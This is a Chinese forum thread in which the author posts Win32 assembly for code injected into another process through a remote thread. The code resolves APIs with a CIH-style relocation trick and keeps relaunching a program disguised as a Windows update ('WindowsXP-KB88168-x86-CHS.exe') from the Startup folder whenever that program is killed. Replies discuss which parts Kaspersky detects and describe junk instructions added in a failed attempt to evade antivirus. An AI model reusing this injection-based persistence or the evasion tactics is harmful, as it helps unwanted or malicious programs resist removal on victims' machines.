找回密码
 注册
搜索
热搜: 回贴
  • 前程无忧官网首页 有什么好的平台可以
  • 最新的销售平台 互联网营销的平台有哪
  • 制作网页的基本流程 网页制作和网页设
  • 【帝国CMS】输出带序号的列表(数字排
  • 网站建设公司 三一,中联,极东泵车的
  • 织梦 建站 织梦网站模版后台怎么更改
  • 云服务官网 哪些网站有免费的简历模板
  • 如何建网站要什么条件 建网站要用什么
  • 吉林市移动公司电话 吉林省退休人员网
  • 设计类毕业论文 网站设计与实现毕业论
查看: 331|回复: 5

用远线程保护进程(win32汇编)

[复制链接]
发表于 2009-12-4 02:20:37 | 显示全部楼层 |阅读模式 IP:江苏扬州
*/ --------------------------------------------------------------------------------------
*/ 出自: 编程中国 http://www.bccn.net
*/ 作者: zklhp   E-mail:zklhp@sina.com  QQ:493165744
*/ 时间: 2008-11-29 编程论坛首发
*/ 声明: 尊重作者劳动,转载请保留本段文字
*/ --------------------------------------------------------------------------------------


接着上次的那个 接着写个保护的 没什么新意 就是总结一下吧

帖一下远线程的代码吧


程序代码:
.code

Remote_code_start    equ this BYTE

g_lpGetModuleHandleA        dd  0
g_lpGetProcAddress        dd  0

g_szKernel32            db 'Kernel32.dll',0
g_hKernel32                dd 0

g_szCreateProcessA    db 'CreateProcessA',0
g_lpCreateProcessA    dd    0

g_szCreateToolhelp32Snapshot db 'CreateToolhelp32Snapshot',0
g_lpCreateToolhelp32Snapshot dd 0

g_szProcess32First db 'Process32First',0
g_lpProcess32First dd 0

g_szProcess32Next db 'Process32Next',0
g_lpProcess32Next dd 0

g_szlstrcmpiA db 'lstrcmpiA',0
g_lplstrcmpiA dd 0


g_szCloseHandle db 'CloseHandle',0
g_lpCloseHandle dd 0

g_szSleep db 'Sleep',0
g_lpSleep dd 0

g_szProcessName        db 'WindowsXP-KB88168-x86-CHS.exe',0
g_szPath                    db 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\WindowsXP-KB88168-x86-CHS.exe',0    ;配合前面那个程序~~~
g_szDesktop                db 'WinSta0\Default',0
g_stProcess             PROCESSENTRY32 <0>
g_hSnapshot                dd 0
g_dwProcessID            dd 0
g_stStartupInfo        STARTUPINFO <0>
g_ProcInfo                PROCESS_INFORMATION <0>

_RemoteThread proc
    pushad
    call    delta
    delta:
    pop    ebx    ;得到当前地址 这里没有再减 学习cih的重定位方法 貌似这样省字节

    lea    eax, [ebx+(g_szKernel32-delta)]
    _invoke [ebx+(g_lpGetModuleHandleA-delta)], eax
    mov    [ebx+(g_hKernel32-delta)],eax
    mov esi,eax

    lea    eax, [ebx+(g_szKernel32-delta)]
    _invoke [ebx+(g_lpGetModuleHandleA-delta)], eax
    mov    esi, eax

    ;要用的api都得查出地址 现在是在人家的地盘啊
    lea    eax, [ebx+(g_szCreateProcessA-delta)]
    _invoke [ebx+(g_lpGetProcAddress-delta)], esi, eax
    mov    [ebx+(g_lpCreateProcessA-delta)], eax

    lea    eax, [ebx+(g_szCreateToolhelp32Snapshot-delta)]
    _invoke [ebx+(g_lpGetProcAddress-delta)], esi, eax
    mov    [ebx+(g_lpCreateToolhelp32Snapshot-delta)], eax

    lea    eax, [ebx+(g_szProcess32First-delta)]
    _invoke [ebx+(g_lpGetProcAddress-delta)], esi, eax
    mov    [ebx+(g_lpProcess32First-delta)], eax

    lea    eax, [ebx+(g_szProcess32Next-delta)]
    _invoke [ebx+(g_lpGetProcAddress-delta)], esi, eax
    mov    [ebx+(g_lpProcess32Next-delta)], eax

    lea    eax, [ebx+(g_szlstrcmpiA-delta)]
    _invoke [ebx+(g_lpGetProcAddress-delta)], esi, eax
    mov    [ebx+(g_lplstrcmpiA-delta)], eax

    lea    eax, [ebx+(g_szCloseHandle-delta)]
    _invoke [ebx+(g_lpGetProcAddress-delta)], esi, eax
    mov    [ebx+(g_lpCloseHandle-delta)], eax

    lea    eax, [ebx+(g_szSleep-delta)]
    _invoke [ebx+(g_lpGetProcAddress-delta)], esi, eax
    mov    [ebx+(g_lpSleep-delta)], eax

@loop:
    lea esi,[ebx+(g_stProcess-delta)]
    assume esi:ptr PROCESSENTRY32
    mov    [esi].dwSize,sizeof g_stProcess
    assume esi:nothing
    _invoke  [ebx+(g_lpCreateToolhelp32Snapshot-delta)], TH32CS_SNAPPROCESS, 0
    mov    edi, eax        ;edi = hSnapshot
    lea ecx,[ebx+(g_stProcess-delta)]
    _invoke  [ebx+(g_lpProcess32First-delta)], edi,ecx
    .while eax
        lea ecx,[ebx+(g_stProcess-delta)]
        assume esi:ptr PROCESSENTRY32
        lea edx,[esi].szExeFile
        assume esi:nothing
        lea ecx,[ebx+(g_szProcessName-delta)]
        _invoke  [ebx+(g_lplstrcmpiA-delta)], ecx, edx
        .if eax==0
            mov esi,TRUE    ;设置找到的标志
            .break
        .endif
        lea ecx,[ebx+(g_stProcess-delta)]
        _invoke  [ebx+(g_lpProcess32Next-delta)], edi, ecx
    .endw
    _invoke  [ebx+(g_lpCloseHandle-delta)], edi

    .if esi!=TRUE    ;没有就运行
        lea    eax, [ebx+(g_szDesktop-delta)]
        lea    ecx, [ebx+(g_stStartupInfo-delta)]
        mov    DWORD ptr [ecx], sizeof g_stStartupInfo
        mov    DWORD ptr [ecx+8], eax
        lea    eax, [ebx+(g_szPath-delta)]
        lea    edx, [ebx+(g_ProcInfo-delta)]
        _invoke [ebx+(g_lpCreateProcessA-delta)], 0, eax, 0, 0, 0, 0, 0, 0, ecx, edx
    .endif

    _invoke [ebx+(g_lpSleep-delta)],300d    ;刚杀掉有有了 呵呵 这里可以改的合适一点 间隔太小也不好
    jmp @loop
    popad
    ret
_RemoteThread endp

Remote_code_end     equ this BYTE
Remote_code_length     equ offset Remote_code_end - offset Remote_code_start
;注入代码的长度


在偶的2003下运行没问题

这个会被杀毒软件认为是病毒~~~~  因使用造成的后果与我无关啊

还是那句话 别干坏事啊

参考了罗云彬的程序 向前辈的无私奉献精神表示感谢

程序+代码

这个是被保护的进程 就是那个弹窗口的程序(前几天静老大审核时没笑翻吧) 做了点改动  

附件: 只有本站会员才能下载或查看附件,请您 登录 或 注册
发表于 2009-12-4 02:20:41 | 显示全部楼层 IP:江苏扬州
顶一个~~
回复

使用道具 举报

发表于 2009-12-4 02:20:45 | 显示全部楼层 IP:江苏扬州
呵呵  总算发出来了~~~

这个被卡巴认为是病毒 不知道特征码是什么 我加了不少花指令也没免杀~~~
回复

使用道具 举报

发表于 2009-12-4 02:20:49 | 显示全部楼层 IP:江苏扬州
pushad
    call    delta
    delta:
    pop    ebx    ;得到当前地址 这里没有再减 学习cih的重定位方法 貌似这样省字节
这个估计就是特征码
回复

使用道具 举报

发表于 2009-12-4 02:20:53 | 显示全部楼层 IP:江苏扬州
以下是引用swp160108在2008-12-2 09:22的发言:

pushad
    call    delta
    delta:
    pop    ebx    ;得到当前地址 这里没有再减 学习cih的重定位方法 貌似这样省字节
这个估计就是特征码


http://bbs.bccn.net/thread-242717-1-1.html

这个也是偶写的 重定位方法一样 怎么不被杀啊~~~

偶用那个ccl定位了一下  好象调用那些api都是特征码
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-9-29 13:31 , Processed in 0.305353 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表